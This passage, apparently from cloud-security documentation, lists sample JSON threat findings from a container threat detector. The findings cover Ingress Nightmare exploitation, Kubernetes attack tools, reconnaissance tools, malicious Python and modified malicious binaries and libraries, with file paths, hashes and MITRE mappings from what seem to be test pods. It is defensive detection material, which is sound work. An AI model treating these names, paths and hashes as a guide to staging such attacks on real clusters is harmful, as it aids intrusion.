"virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行作業：Ingress Nightmare 安全漏洞執行 (預先發布版)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Ingress Nightmare Vulnerability Exploitation",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-04-17T18:54:09Z"       }     ],     "createTime": "2025-04-17T18:54:14.136Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-04-17T18:54:13.952Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-04-17T18:54:09Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-04-17T18:54:09.924746656Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "SHARED_MODULES"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/tmp/nginx\"",           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"/tmp/nginx\"",           "\"/proc/1/fd/1\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-ingress-nightmare-2025-04-17-18-54-06-utc\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"SHLVL\"",             "val": "\"0\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"_\"",             "val": "\"/tmp/nginx\""           }         ],         "pid": "1",         "parentPid": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "MEDIUM",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_ingress_nightmare_vulnerability_exploitation"     },     "detectionPriority": "MEDIUM",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1744916049",             "nanos": 924746656           }         }       }     ],     "properties": {},     "findingId": "b19bf4b85b504a5da1a64cdadd4c8194",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0002/"       },       "relatedFindingUri": {}     }   } }

執行：Kubernetes 攻擊工具執行作業

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Kubernetes Attack Tool Execution",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "1970-01-01T00:00:00Z"       }     ],     "createTime": "2024-10-21T19:08:35.255Z",     "database": {},     "eventTime": "2024-10-21T19:08:35.091Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "1970-01-01T00:00:00Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2024-10-21T19:07:41.503072537Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "RESOURCE_DEVELOPMENT",       "primaryTechniques": [         "OBTAIN_CAPABILITIES"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-kubernetes-attack-suspicious-tool-864dfecdc8d5f5d4\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "SEVERITY_UNSPECIFIED",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_kubernetes_attack_tool_execution"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1588/002/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：本機偵查工具執行作業

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Local Reconnaissance Tool Execution",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "1970-01-01T00:00:00Z"       }     ],     "createTime": "2024-10-21T19:08:35.255Z",     "database": {},     "eventTime": "2024-10-21T19:08:35.091Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "1970-01-01T00:00:00Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2024-10-21T19:07:41.503072537Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "RECONNAISSANCE",       "primaryTechniques": [         "ACTIVE_SCANNING"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-local-reconn-suspicious-tool-90e2e63d67bbc483\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "SEVERITY_UNSPECIFIED",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_local_reconnaissance_tool_execution"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1595/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/21225e29b4225a4eca16996445e243fdab8051a0ad4bc232b907ef5e9b67f66b/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：已執行惡意 Python

{   "finding": {     "canonicalName": "projects/PROJECT_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",     "category": "Execution: Malicious Python Executed",     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2024-06-17T18:50:15.454Z",     "description": "A machine learning model using Natural Language Processing  techniques identified an executed python script as malicious.",     "eventTime": "2024-06-17T18:50:15.217Z",     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2024-06-17T18:50:13Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER",         "PYTHON"       ],       "additionalTactics": [         "COMMAND_AND_CONTROL"       ],       "additionalTechniques": [         "INGRESS_TOOL_TRANSFER"       ]     },     "mute": "UNDEFINED",     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "3492656",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "3492656",           "partiallyHashed": false,         },         "script": {           "path": "FILENAME",           "size": "4191",           "sha256": "SHA_256",           "hashedSize": "4096",           "partiallyHashed": true,           "contents": "\"#!/usr/bin/env python\\n\\nimport uuid\\nimport subprocess\\nimport os\\nimport sys\\nsys.exit(0)…",         },         "args": [           "INTERPRETER",           "FILENAME"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "7",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "severity": "CRITICAL",     "state": "ACTIVE",   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "Process_Arguments": [       "INTERPRETER",       "FILENAME"     ],     "VM_Instance_Name": "INSTANCE_ID",     "Process_Binary_Fullpath": {         "primitiveDataType": "STRING"       },     "description": "A machine learning model using Natural Language Processing techniques identified an executed python script as malicious.",     "Container_Creation_Timestamp": {       "seconds": 1718650213,       "nanos": 0     },     "Pod_Name": "CONTAINER_NAME",     "Container_Image_Uri": "CONTAINER_IMAGE_URI",     "Container_Image_Id": "CONTAINER_IMAGE_ID",     "Parent_Pid": 1,     "Container_Name": "CONTAINER_NAME",     "Pid": 7,     "Process_Creation_Timestamp": {       "seconds": 1718650213,       "nanos": 762524370     },     "Environment_Variables": [     ],     "Pod_Namespace": "default"   } }

執行：已執行修改過的惡意二進位檔

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"     "category": "Execution: Modified Malicious Binary Executed",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-11-13T21:38:51.893Z",     "database": {},     "eventTime": "2023-11-13T21:38:51.525Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "default",           "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "NATIVE_API"       ]     },     "mute": "UNDEFINED",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/malicious_files/file_to_be_modified\"",           "size": "68",           "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",           "hashedSize": "68",           "partiallyHashed": false         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"/malicious_files/file_to_be_modified\"",           "\"modified-malicious-binary-da2a7b72e6008bc3\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-modified-malicious-binary\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PWD\"",             "val": "\"/malicious_files\""           }         ],         "pid": "8",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "modified_malicious_binary_executed"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1699905066",             "nanos": 618571329           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1106/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal IP Link",           "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"         }       ],       "cloudLoggingQueryUri": [         {           "displayName": "Cloud Logging Query Link",           "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.084524438Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"         }       ],       "relatedFindingUri": {}     }   } }

執行：已載入修改過的惡意資料庫

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"     "category": "Execution: Modified Malicious Library Loaded",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-11-13T21:38:55.271Z",     "database": {},     "eventTime": "2023-11-13T21:38:55.133Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "default",           "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "SHARED_MODULES"       ]     },     "mute": "UNDEFINED",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/malicious_files/drop_mal_lib\"",           "size": "5005064",           "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",           "hashedSize": "5005064",           "partiallyHashed": false         },         "libraries": [           {             "path": "\"/malicious_files/file_to_be_modified\"",             "size": "68",             "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",             "hashedSize": "68",             "partiallyHashed": false           }         ],         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"/malicious_files/drop_mal_lib\"",           "\"/malicious_files/file_to_be_modified\"",           "\"/tmp/modified-malicious-library-430bbedd7049b0d1\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-modified-malicious-library\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PATH\"",             "val": 